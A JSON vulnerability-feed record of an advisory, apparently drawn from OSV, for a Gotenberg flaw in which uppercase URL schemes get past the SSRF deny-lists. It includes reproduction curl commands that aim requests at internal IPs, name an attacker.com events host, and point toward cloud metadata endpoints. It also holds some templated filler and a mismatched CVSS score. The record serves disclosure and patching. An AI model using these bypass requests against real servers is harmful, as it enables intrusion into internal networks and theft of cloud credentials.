{"id":"CVE-2026-40280","aliases":["GHSA-5q7p-7jgv-ww56","GO-2026-5151"],"title":"Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection","summary":"Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection","severity":"critical","cvss":9.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","vendor":"gotenberg","product":"github.com/gotenberg/gotenberg/v8","ecosystem":"go","affected":["github.com/gotenberg/gotenberg/v8 < 8.31.0"],"patched":["github.com/gotenberg/gotenberg/v8 8.31.0"],"published":"2026-04-30","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-5q7p-7jgv-ww56","references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40280"},{"url":"https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47"},{"url":"https://github.com/advisories/GHSA-jjwv-57xh-xr6r"},{"url":"https://github.com/gotenberg/gotenberg"},{"url":"https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"}],"tags":["osv","go","exploit-available"],"epss":0.0195,"epssPercentile":0.79073,"ingestedAt":"2026-07-09T18:56:35.947Z","exploits":{"nuclei":["CVE-2026-40280"],"checkedAt":"2026-09-21T15:28:49.958Z"},"exploitAvailable":true,"slug":"CVE-2026-40280","body":"## Overview\n\n## Vulnerability Details\n\n**CWE**: CWE-918 - Server-Side Request Forgery (SSRF)\n\nThe default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.\n\n## Summary\n\nThe default private-IP deny-lists for `--webhook-deny-list` and `--api-download-from-deny-list` use a case-sensitive regex (`^https?://`). Any uppercase URL scheme variant (`HTTP://`, `HTTPS://`, `Http://`) bypasses the pattern. Go's `net/url.Parse()` normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.\n\nThe same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.\n\n**Affected file/function**: `pkg/gotenberg/filter.go:FilterDeadline()`, `pkg/modules/webhook/webhook.go:42` (default regex), `pkg/modules/api/api.go:199` (default regex)\n\n## Steps to Reproduce\n\n```\n1. Start Gotenberg:\n   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8\n\n2. Baseline — lowercase http:// is blocked (HTTP 403):\n   curl -s -w \"\\nHTTP %{http_code}\" -X POST http://localhost:3001/forms/chromium/convert/url \\\n     -H \"Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback\" \\\n     -H \"Gotenberg-Webhook-Events-Url: http://attacker.com/events\" \\\n     -F \"url=https://example.com/\"\n\n3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):\n   curl -s -w \"\\nHTTP %{http_code}\" -X POST http://localhost:3001/forms/chromium/convert/url \\\n     -H \"Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback\" \\\n     -H \"Gotenberg-Webhook-Events-Url: http://attacker.com/events\" \\\n     -F \"url=https://example.com/\"\n   # Returns 202 + Gotenberg logs: \"Post \\\"http://172.17.0.1:12345/callback\\\": connection refused\"\n\n4. downloadFrom bypass (response content included in PDF):\n   curl -s -w \"\\nHTTP %{http_code}\" http://localhost:3001/forms/chromium/convert/html \\\n     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \\\n     -F 'downloadFrom=[{\"url\":\"HTTP://172.17.0.1:12345/secret.html\"}]' <<< '<html><body>test</body></html>'\n   # Error is \"Unable to download file\" (connection refused), not \"filter URL\" — bypass confirmed\n```\n\n## Impact\n\nAn unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The `downloadFrom` SSRF can exfiltrate content from internal services that respond with `Content-Disposition` headers. In cloud environments, this could allow access to instance metadata services (e.g., `HTTP://169.254.169.254/latest/meta-data/`). This bypasses the same security control that was patched in CVE-2026-27018.\n\n## Fix\n\nNormalize the URL scheme to lowercase before passing to `FilterDeadline`, or compile deny-list regexes with the case-insensitive flag (`(?i)`).\n\n### Vulnerable Code\n\n```go\n// See description for details\n```\n\n## Steps to Reproduce\n\n1. Set up the application using the default configuration\n2. See the vulnerability details above\n\n\n## Impact\n\nThis vulnerability may allow an attacker to compromise the application.\n\n## Affected packages\n\n- `github.com/gotenberg/gotenberg/v8 < 8.31.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/gotenberg/gotenberg/v8 8.31.0`","depth":"abyssal","depthScore":64,"depthScoreParts":{"impact":51.2,"likelihood":0.4,"exploitation":12,"ransomware":0},"changes":[{"seq":5169,"id":"CVE-2026-40280","ts":1788887251412,"field":"exploit_available","old":"false","new":"true"},{"seq":4052,"id":"CVE-2026-40280","ts":1788886367338,"field":"exploit_available","old":"true","new":"false"},{"seq":2845,"id":"CVE-2026-40280","ts":1788883033960,"field":"exploit_available","old":"false","new":"true"},{"seq":1874,"id":"CVE-2026-40280","ts":1788882436868,"field":"exploit_available","old":"true","new":"false"},{"seq":972,"id":"CVE-2026-40280","ts":1788881871152,"field":"exploit_available","old":"false","new":"true"}]}